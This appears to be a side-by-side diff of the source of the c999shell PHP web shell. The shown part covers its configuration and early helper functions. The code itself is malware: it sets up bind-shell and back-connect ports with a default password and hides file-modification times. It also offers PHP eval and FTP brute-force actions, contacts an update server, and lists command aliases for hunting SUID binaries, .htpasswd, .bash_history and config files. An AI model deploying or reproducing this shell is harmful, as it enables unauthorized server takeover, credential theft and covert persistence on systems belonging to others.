| 11 | foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} | 11 | foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} |
| 12 | 12 | ||
| 13 | $shver = "1.0 pre-release build #16"; //Current version | 13 | $shver = "1.0 pre-release build #16"; //Current version |
| 14 | //CONFIGURATION AND SETTINGS | 14 | //CONFIGURATION AND SETTINGS |
| 15 | if (!empty($unset_surl)) {setcookie("c999sh_surl"); $surl = "";} | 15 | if (!empty($unset_surl)) {setcookie("c999sh_surl"); $surl = "";} |
| 16 | elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c999sh_surl",$surl);} | 16 | elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c999sh_surl",$surl);} |
| 17 | else {$surl = $_REQUEST["c999sh_surl"]; //Set this cookie for manual SURL | 17 | else {$surl = $_REQUEST["c999sh_surl"]; //Set this cookie for manual SURL |
| 18 | } | 18 | } |
| 19 | 19 | ||
| 20 | $surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL. | 20 | $surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL. |
| 21 | 21 | ||
| 22 | if ($surl_autofill_include and !$_REQUEST["c999sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} | 22 | if ($surl_autofill_include and !$_REQUEST["c999sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} |
| 23 | if (empty($surl)) | 23 | if (empty($surl)) |
| 24 | { | 24 | { |
| 25 | $surl = "?".$includestr; //Self url | 25 | $surl = "?".$includestr; //Self url |
| 26 | } | 26 | } |
| 27 | $surl = htmlspecialchars($surl); | 27 | $surl = htmlspecialchars($surl); |
| 28 | 28 | ||
| 29 | $timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited. | 29 | $timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited. |
| 30 | 30 | ||
| 31 | //Authentication | 31 | //Authentication |
| 32 | $login = ""; //login | 32 | $login = ""; //login |
| 33 | //DON'T FORGOT ABOUT PASSWORD!!! | 33 | //DON'T FORGOT ABOUT PASSWORD!!! |
| 34 | $pass = ""; //password | 34 | $pass = ""; //password |
| 35 | $md5_pass = ""; //md5-cryped pass. if null, md5($pass) | 35 | $md5_pass = ""; //md5-cryped pass. if null, md5($pass) |
| 36 | 36 | ||
| 37 | $host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1") | 37 | $host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1") |
| 38 | $login_txt = "Restricted area"; //http-auth message. | 38 | $login_txt = "Restricted area"; //http-auth message. |
| 39 | $accessdeniedmess = "<a href=\"http://ccteam.ru/releases/c999shell\">c999shell v.".$shver."</a>: access denied"; | 39 | $accessdeniedmess = "<a href=\"http://ccteam.ru/releases/c999shell\">c999shell v.".$shver."</a>: access denied"; |
| 40 | 40 | ||
| 41 | $gzipencode = TRUE; //Encode with gzip? | 41 | $gzipencode = TRUE; //Encode with gzip? |
| 42 | 42 | ||
| 43 | $updatenow = FALSE; //If TRUE, update now (this variable will be FALSE) | 43 | $updatenow = FALSE; //If TRUE, update now (this variable will be FALSE) |
| 44 | 44 | ||
| 45 | $c999sh_updateurl = "http://ccteam.ru/update/c999shell/"; //Update server | 45 | $c999sh_updateurl = "http://ccteam.ru/update/c999shell/"; //Update server |
| 46 | $c999sh_sourcesurl = "http://ccteam.ru/files/c999sh_sources/"; //Sources-server | 46 | $c999sh_sourcesurl = "http://ccteam.ru/files/c999sh_sources/"; //Sources-server |
| 47 | 47 | ||
| 48 | $filestealth = TRUE; //if TRUE, don't change modify- and access-time | 48 | $filestealth = TRUE; //if TRUE, don't change modify- and access-time |
| 49 | 49 | ||
| 50 | $donated_html = "<center><b>Owned by hacker</b></center>"; | 50 | $donated_html = "<center><b>Owned by hacker</b></center>"; |
| 51 | /* If you publish free shell and you wish | 51 | /* If you publish free shell and you wish |
| 52 | add link to your site or any other information, | 52 | add link to your site or any other information, |
| 53 | put here your html. */ | 53 | put here your html. */ |
| 54 | $donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html. | 54 | $donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html. |
| 55 | 55 | ||
| 56 | $curdir = "./"; //start folder | 56 | $curdir = "./"; //start folder |
| 57 | //$curdir = getenv("DOCUMENT_ROOT"); | 57 | //$curdir = getenv("DOCUMENT_ROOT"); |
| 58 | $tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp) | 58 | $tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp) |
| 59 | $tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...) | 59 | $tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...) |
| 60 | 60 | ||
| 61 | $log_email = "user@host.tld"; //Default e-mail for sending logs | 61 | $log_email = "user@host.tld"; //Default e-mail for sending logs |
| 62 | 62 | ||
| 63 | $sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending | 63 | $sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending |
| 64 | $sort_save = TRUE; //If TRUE then save sorting-position using cookies. | 64 | $sort_save = TRUE; //If TRUE then save sorting-position using cookies. |
| 65 | 65 | ||
| 66 | // Registered file-types. | 66 | // Registered file-types. |
| 67 | // array( | 67 | // array( |
| 68 | // "{action1}"=>array("ext1","ext2","ext3",...), | 68 | // "{action1}"=>array("ext1","ext2","ext3",...), |
| 69 | // "{action2}"=>array("ext4","ext5","ext6",...), | 69 | // "{action2}"=>array("ext4","ext5","ext6",...), |
| 70 | // ... | 70 | // ... |
| 71 | // ) | 71 | // ) |
| 72 | $ftypes = array( | 72 | $ftypes = array( |
| 73 | "html"=>array("html","htm","shtml"), | 73 | "html"=>array("html","htm","shtml"), |
| 74 | "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), | 74 | "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), |
| 75 | "exe"=>array("sh","install","bat","cmd"), | 75 | "exe"=>array("sh","install","bat","cmd"), |
| 76 | "ini"=>array("ini","inf"), | 76 | "ini"=>array("ini","inf"), |
| 77 | "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), | 77 | "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), |
| 78 | "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), | 78 | "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), |
| 79 | "sdb"=>array("sdb"), | 79 | "sdb"=>array("sdb"), |
| 80 | "phpsess"=>array("sess"), | 80 | "phpsess"=>array("sess"), |
| 81 | "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") | 81 | "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") |
| 82 | ); | 82 | ); |
| 83 | 83 | ||
| 84 | // Registered executable file-types. | 84 | // Registered executable file-types. |
| 85 | // array( | 85 | // array( |
| 86 | // string "command{i}"=>array("ext1","ext2","ext3",...), | 86 | // string "command{i}"=>array("ext1","ext2","ext3",...), |
| 87 | // ... | 87 | // ... |
| 88 | // ) | 88 | // ) |
| 89 | // {command}: %f% = filename | 89 | // {command}: %f% = filename |
| 90 | $exeftypes = array( | 90 | $exeftypes = array( |
| 91 | getenv("PHPRC")." -q %f%" => array("php","php3","php4"), | 91 | getenv("PHPRC")." -q %f%" => array("php","php3","php4"), |
| 92 | "perl %f%" => array("pl","cgi") | 92 | "perl %f%" => array("pl","cgi") |
| 93 | ); | 93 | ); |
| 94 | 94 | ||
| 95 | /* Highlighted files. | 95 | /* Highlighted files. |
| 96 | array( | 96 | array( |
| 97 | i=>array({regexp},{type},{opentag},{closetag},{break}) | 97 | i=>array({regexp},{type},{opentag},{closetag},{break}) |
| 98 | ... | 98 | ... |
| 99 | ) | 99 | ) |
| 100 | string {regexp} - regular exp. | 100 | string {regexp} - regular exp. |
| 101 | int {type}: | 101 | int {type}: |
| 102 | 0 - files and folders (as default), | 102 | 0 - files and folders (as default), |
| 103 | 1 - files only, 2 - folders only | 103 | 1 - files only, 2 - folders only |
| 104 | string {opentag} - open html-tag, e.g. "<b>" (default) | 104 | string {opentag} - open html-tag, e.g. "<b>" (default) |
| 105 | string {closetag} - close html-tag, e.g. "</b>" (default) | 105 | string {closetag} - close html-tag, e.g. "</b>" (default) |
| 106 | bool {break} - if TRUE and found match then break | 106 | bool {break} - if TRUE and found match then break |
| 107 | */ | 107 | */ |
| 108 | $regxp_highlight = array( | 108 | $regxp_highlight = array( |
| 109 | array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example | 109 | array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example |
| 110 | array("config.php",1) // example | 110 | array("config.php",1) // example |
| 111 | ); | 111 | ); |
| 112 | 112 | ||
| 113 | $safemode_diskettes = array("a"); // This variable for disabling diskett-errors. | 113 | $safemode_diskettes = array("a"); // This variable for disabling diskett-errors. |
| 114 | // array (i=>{letter} ...); string {letter} - letter of a drive | 114 | // array (i=>{letter} ...); string {letter} - letter of a drive |
| 115 | //$safemode_diskettes = range("a","z"); | 115 | //$safemode_diskettes = range("a","z"); |
| 116 | $hexdump_lines = 8;// lines in hex preview file | 116 | $hexdump_lines = 8;// lines in hex preview file |
| 117 | $hexdump_rows = 24;// 16, 24 or 32 bytes in one line | 117 | $hexdump_rows = 24;// 16, 24 or 32 bytes in one line |
| 118 | 118 | ||
| 119 | $nixpwdperpage = 100; // Get first N lines from /etc/passwd | 119 | $nixpwdperpage = 100; // Get first N lines from /etc/passwd |
| 120 | 120 | ||
| 121 | $bindport_pass = "c999"; // default password for binding | 121 | $bindport_pass = "c999"; // default password for binding |
| 122 | $bindport_port = "31373"; // default port for binding | 122 | $bindport_port = "31373"; // default port for binding |
| 123 | $bc_port = "31373"; // default port for back-connect | 123 | $bc_port = "31373"; // default port for back-connect |
| 124 | $datapipe_localport = "8081"; // default port for datapipe | 124 | $datapipe_localport = "8081"; // default port for datapipe |
| 125 | 125 | ||
| 126 | // Command-aliases | 126 | // Command-aliases |
| 127 | if (!$win) | 127 | if (!$win) |
| 128 | { | 128 | { |
| 129 | $cmdaliases = array( | 129 | $cmdaliases = array( |
| 130 | array("-----------------------------------------------------------", "ls -la"), | 130 | array("-----------------------------------------------------------", "ls -la"), |
| 131 | array("find all suid files", "find / -type f -perm -04000 -ls"), | 131 | array("find all suid files", "find / -type f -perm -04000 -ls"), |
| 132 | array("find suid files in current dir", "find . -type f -perm -04000 -ls"), | 132 | array("find suid files in current dir", "find . -type f -perm -04000 -ls"), |
| 133 | array("find all sgid files", "find / -type f -perm -02000 -ls"), | 133 | array("find all sgid files", "find / -type f -perm -02000 -ls"), |
| 134 | array("find sgid files in current dir", "find . -type f -perm -02000 -ls"), | 134 | array("find sgid files in current dir", "find . -type f -perm -02000 -ls"), |
| 135 | array("find config.inc.php files", "find / -type f -name config.inc.php"), | 135 | array("find config.inc.php files", "find / -type f -name config.inc.php"), |
| 136 | array("find config* files", "find / -type f -name \"config*\""), | 136 | array("find config* files", "find / -type f -name \"config*\""), |
| 137 | array("find config* files in current dir", "find . -type f -name \"config*\""), | 137 | array("find config* files in current dir", "find . -type f -name \"config*\""), |
| 138 | array("find all writable folders and files", "find / -perm -2 -ls"), | 138 | array("find all writable folders and files", "find / -perm -2 -ls"), |
| 139 | array("find all writable folders and files in current dir", "find . -perm -2 -ls"), | 139 | array("find all writable folders and files in current dir", "find . -perm -2 -ls"), |
| 140 | array("find all service.pwd files", "find / -type f -name service.pwd"), | 140 | array("find all service.pwd files", "find / -type f -name service.pwd"), |
| 141 | array("find service.pwd files in current dir", "find . -type f -name service.pwd"), | 141 | array("find service.pwd files in current dir", "find . -type f -name service.pwd"), |
| 142 | array("find all .htpasswd files", "find / -type f -name .htpasswd"), | 142 | array("find all .htpasswd files", "find / -type f -name .htpasswd"), |
| 143 | array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"), | 143 | array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"), |
| 144 | array("find all .bash_history files", "find / -type f -name .bash_history"), | 144 | array("find all .bash_history files", "find / -type f -name .bash_history"), |
| 145 | array("find .bash_history files in current dir", "find . -type f -name .bash_history"), | 145 | array("find .bash_history files in current dir", "find . -type f -name .bash_history"), |
| 146 | array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), | 146 | array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), |
| 147 | array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), | 147 | array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), |
| 148 | array("list file attributes on a Linux second extended file system", "lsattr -va"), | 148 | array("list file attributes on a Linux second extended file system", "lsattr -va"), |
| 149 | array("show opened ports", "netstat -an | grep -i listen") | 149 | array("show opened ports", "netstat -an | grep -i listen") |
| 150 | ); | 150 | ); |
| 151 | } | 151 | } |
| 152 | else | 152 | else |
| 153 | { | 153 | { |
| 154 | $cmdaliases = array( | 154 | $cmdaliases = array( |
| 155 | array("-----------------------------------------------------------", "dir"), | 155 | array("-----------------------------------------------------------", "dir"), |
| 156 | array("show opened ports", "netstat -an") | 156 | array("show opened ports", "netstat -an") |
| 157 | ); | 157 | ); |
| 158 | } | 158 | } |
| 159 | 159 | ||
| 160 | $sess_cookie = "c999shvars"; // Cookie-variable name | 160 | $sess_cookie = "c999shvars"; // Cookie-variable name |
| 161 | 161 | ||
| 162 | $usefsbuff = TRUE; //Buffer-function | 162 | $usefsbuff = TRUE; //Buffer-function |
| 163 | $copy_unset = FALSE; //Remove copied files from buffer after pasting | 163 | $copy_unset = FALSE; //Remove copied files from buffer after pasting |
| 164 | 164 | ||
| 165 | //Quick launch | 165 | //Quick launch |
| 166 | $quicklaunch = array( | 166 | $quicklaunch = array( |
| 167 | array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl), | 167 | array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl), |
| 168 | array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"), | 168 | array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"), |
| 169 | array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"), | 169 | array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"), |
| 170 | array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"), | 170 | array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"), |
| 171 | array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""), | 171 | array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""), |
| 172 | array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"), | 172 | array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"), |
| 173 | array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"), | 173 | array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"), |
| 174 | array("<b>Encoder</b>",$surl."act=encoder&d=%d"), | 174 | array("<b>Encoder</b>",$surl."act=encoder&d=%d"), |
| 175 | array("<b>Tools</b>",$surl."act=tools&d=%d"), | 175 | array("<b>Tools</b>",$surl."act=tools&d=%d"), |
| 176 | array("<b>Proc.</b>",$surl."act=processes&d=%d"), | 176 | array("<b>Proc.</b>",$surl."act=processes&d=%d"), |
| 177 | array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"), | 177 | array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"), |
| 178 | array("<b>Sec.</b>",$surl."act=security&d=%d"), | 178 | array("<b>Sec.</b>",$surl."act=security&d=%d"), |
| 179 | array("<b>SQL</b>",$surl."act=sql&d=%d"), | 179 | array("<b>SQL</b>",$surl."act=sql&d=%d"), |
| 180 | array("<b>PHP-code</b>",$surl."act=eval&d=%d"), | 180 | array("<b>PHP-code</b>",$surl."act=eval&d=%d"), |
| 181 | array("<b>Update</b>",$surl."act=update&d=%d"), | 181 | array("<b>Update</b>",$surl."act=update&d=%d"), |
| 182 | array("<b>Feedback</b>",$surl."act=feedback&d=%d"), | 182 | array("<b>Feedback</b>",$surl."act=feedback&d=%d"), |
| 183 | array("<b>Self remove</b>",$surl."act=selfremove"), | 183 | array("<b>Self remove</b>",$surl."act=selfremove"), |
| 184 | array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()") | 184 | array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()") |
| 185 | ); | 185 | ); |
| 186 | 186 | ||
| 187 | //Highlight-code colors | 187 | //Highlight-code colors |
| 188 | $highlight_background = "#c0c0c0"; | 188 | $highlight_background = "#c0c0c0"; |
| 189 | $highlight_bg = "#FFFFFF"; | 189 | $highlight_bg = "#FFFFFF"; |
| 190 | $highlight_comment = "#6A6A6A"; | 190 | $highlight_comment = "#6A6A6A"; |
| 191 | $highlight_default = "#0000BB"; | 191 | $highlight_default = "#0000BB"; |
| 192 | $highlight_html = "#1300FF"; | 192 | $highlight_html = "#1300FF"; |
| 193 | $highlight_keyword = "#007700"; | 193 | $highlight_keyword = "#007700"; |
| 194 | $highlight_string = "#000000"; | 194 | $highlight_string = "#000000"; |
| 195 | 195 | ||
| 196 | @$f = $_REQUEST["f"]; | 196 | @$f = $_REQUEST["f"]; |
| 197 | @extract($_REQUEST["c999shcook"]); | 197 | @extract($_REQUEST["c999shcook"]); |
| 198 | 198 | ||
| 199 | //END CONFIGURATION | 199 | //END CONFIGURATION |
| 200 | 200 | ||
| 201 | 201 | ||
| 202 | // \/Next code isn't for editing\/ | 202 | // \/Next code isn't for editing\/ |
| 203 | @set_time_limit(0); | 203 | @set_time_limit(0); |
| 204 | $tmp = array(); | 204 | $tmp = array(); |
| 205 | foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));} | 205 | foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));} |
| 206 | $s = "!^(".implode("|",$tmp).")$!i"; | 206 | $s = "!^(".implode("|",$tmp).")$!i"; |
| 207 | if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://ccteam.ru/releases/cc999shell\">c999shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");} | 207 | if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://ccteam.ru/releases/cc999shell\">c999shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");} |
| 208 | if (!empty($login)) | 208 | if (!empty($login)) |
| 209 | { | 209 | { |
| 210 | if (empty($md5_pass)) {$md5_pass = md5($pass);} | 210 | if (empty($md5_pass)) {$md5_pass = md5($pass);} |
| 211 | if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) | 211 | if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) |
| 212 | { | 212 | { |
| 213 | if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace(" |<br>"," ",$donated_html));} | 213 | if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace(" |<br>"," ",$donated_html));} |
| 214 | header("WWW-Authenticate: Basic realm=\"c999shell ".$shver.": ".$login_txt."\""); | 214 | header("WWW-Authenticate: Basic realm=\"c999shell ".$shver.": ".$login_txt."\""); |
| 215 | header("HTTP/1.0 401 Unauthorized"); | 215 | header("HTTP/1.0 401 Unauthorized"); |
| 216 | exit($accessdeniedmess); | 216 | exit($accessdeniedmess); |
| 217 | } | 217 | } |
| 218 | } | 218 | } |
| 219 | if ($act != "img") | 219 | if ($act != "img") |
| 220 | { | 220 | { |
| 221 | $lastdir = realpath("."); | 221 | $lastdir = realpath("."); |
| 222 | chdir($curdir); | 222 | chdir($curdir); |
| 223 | if ($selfwrite or $updatenow) {@ob_clean(); c999sh_getupdate($selfwrite,1); exit;} | 223 | if ($selfwrite or $updatenow) {@ob_clean(); c999sh_getupdate($selfwrite,1); exit;} |
| 224 | $sess_data = unserialize($_COOKIE["$sess_cookie"]); | 224 | $sess_data = unserialize($_COOKIE["$sess_cookie"]); |
| 225 | if (!is_array($sess_data)) {$sess_data = array();} | 225 | if (!is_array($sess_data)) {$sess_data = array();} |
| 226 | if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} | 226 | if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} |
| 227 | if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} | 227 | if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} |
| 228 | 228 | ||
| 229 | $disablefunc = @ini_get("disable_functions"); | 229 | $disablefunc = @ini_get("disable_functions"); |
| 230 | if (!empty($disablefunc)) | 230 | if (!empty($disablefunc)) |
| 231 | { | 231 | { |
| 232 | $disablefunc = str_replace(" ","",$disablefunc); | 232 | $disablefunc = str_replace(" ","",$disablefunc); |
| 233 | $disablefunc = explode(",",$disablefunc); | 233 | $disablefunc = explode(",",$disablefunc); |
| 234 | } | 234 | } |
| 235 | 235 | ||
| 236 | if (!function_exists("c999_buff_prepare")) | 236 | if (!function_exists("c999_buff_prepare")) |
| 237 | { | 237 | { |
| 238 | function c999_buff_prepare() | 238 | function c999_buff_prepare() |
| 239 | { | 239 | { |
| 240 | global $sess_data; | 240 | global $sess_data; |
| 241 | global $act; | 241 | global $act; |
| 242 | foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} | 242 | foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} |
| 243 | foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} | 243 | foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} |
| 244 | $sess_data["copy"] = array_unique($sess_data["copy"]); | 244 | $sess_data["copy"] = array_unique($sess_data["copy"]); |
| 245 | $sess_data["cut"] = array_unique($sess_data["cut"]); | 245 | $sess_data["cut"] = array_unique($sess_data["cut"]); |
| 246 | sort($sess_data["copy"]); | 246 | sort($sess_data["copy"]); |
| 247 | sort($sess_data["cut"]); | 247 | sort($sess_data["cut"]); |
| 248 | if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} | 248 | if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} |
| 249 | else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} | 249 | else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} |
| 250 | } | 250 | } |
| 251 | } | 251 | } |
| 252 | c999_buff_prepare(); | 252 | c999_buff_prepare(); |
| 253 | if (!function_exists("c999_sess_put")) | 253 | if (!function_exists("c999_sess_put")) |
| 254 | { | 254 | { |
| 255 | function c999_sess_put($data) | 255 | function c999_sess_put($data) |
| 256 | { | 256 | { |
| 257 | global $sess_cookie; | 257 | global $sess_cookie; |
| 258 | global $sess_data; | 258 | global $sess_data; |
| 259 | c999_buff_prepare(); | 259 | c999_buff_prepare(); |
| 260 | $sess_data = $data; | 260 | $sess_data = $data; |
| 261 | $data = serialize($data); | 261 | $data = serialize($data); |
| 262 | setcookie($sess_cookie,$data); | 262 | setcookie($sess_cookie,$data); |
| 263 | } | 263 | } |
| 264 | } | 264 | } |
| 265 | foreach (array("sort","sql_sort") as $v) | 265 | foreach (array("sort","sql_sort") as $v) |
| 266 | { | 266 | { |
| 267 | if (!empty($_GET[$v])) {$$v = $_GET[$v];} | 267 | if (!empty($_GET[$v])) {$$v = $_GET[$v];} |
| 268 | if (!empty($_POST[$v])) {$$v = $_POST[$v];} | 268 | if (!empty($_POST[$v])) {$$v = $_POST[$v];} |
| 269 | } | 269 | } |
| 270 | if ($sort_save) | 270 | if ($sort_save) |
| 271 | { | 271 | { |
| 272 | if (!empty($sort)) {setcookie("sort",$sort);} | 272 | if (!empty($sort)) {setcookie("sort",$sort);} |
| 273 | if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} | 273 | if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} |
| 274 | } | 274 | } |
| 275 | if (!function_exists("str2mini")) | 275 | if (!function_exists("str2mini")) |
| 276 | { | 276 | { |
| 277 | function str2mini($content,$len) | 277 | function str2mini($content,$len) |
| 278 | { | 278 | { |
| 279 | if (strlen($content) > $len) | 279 | if (strlen($content) > $len) |
| 280 | { | 280 | { |
| 281 | $len = ceil($len/2) - 2; | 281 | $len = ceil($len/2) - 2; |
| 282 | return substr($content, 0,$len)."...".substr($content,-$len); | 282 | return substr($content, 0,$len)."...".substr($content,-$len); |
| 283 | } | 283 | } |
| 284 | else {return $content;} | 284 | else {return $content;} |
| 285 | } | 285 | } |
| 286 | } | 286 | } |
| 287 | if (!function_exists("view_size")) | 287 | if (!function_exists("view_size")) |
| 288 | { | 288 | { |
| 289 | function view_size($size) | 289 | function view_size($size) |
| 290 | { | 290 | { |
| 291 | if (!is_numeric($size)) {return FALSE;} | 291 | if (!is_numeric($size)) {return FALSE;} |
| 292 | else | 292 | else |
| 293 | { | 293 | { |
| 294 | if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} | 294 | if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} |
| 295 | elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} | 295 | elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} |
| 296 | elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} | 296 | elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} |
| 297 | else {$size = $size . " B";} | 297 | else {$size = $size . " B";} |
| 298 | return $size; | 298 | return $size; |
| 299 | } | 299 | } |
| 300 | } | 300 | } |
| 301 | } | 301 | } |
| 302 | if (!function_exists("fs_copy_dir")) | 302 | if (!function_exists("fs_copy_dir")) |
| 303 | { | 303 | { |
| 304 | function fs_copy_dir($d,$t) | 304 | function fs_copy_dir($d,$t) |
| 305 | { | 305 | { |
| 306 | $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); | 306 | $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); |
| 307 | if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} | 307 | if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} |
| 308 | $h = opendir($d); | 308 | $h = opendir($d); |
| 309 | while (($o = readdir($h)) !== FALSE) | 309 | while (($o = readdir($h)) !== FALSE) |
| 310 | { | 310 | { |
| 311 | if (($o != ".") and ($o != "..")) | 311 | if (($o != ".") and ($o != "..")) |
| 312 | { | 312 | { |
| 313 | if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} | 313 | if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} |
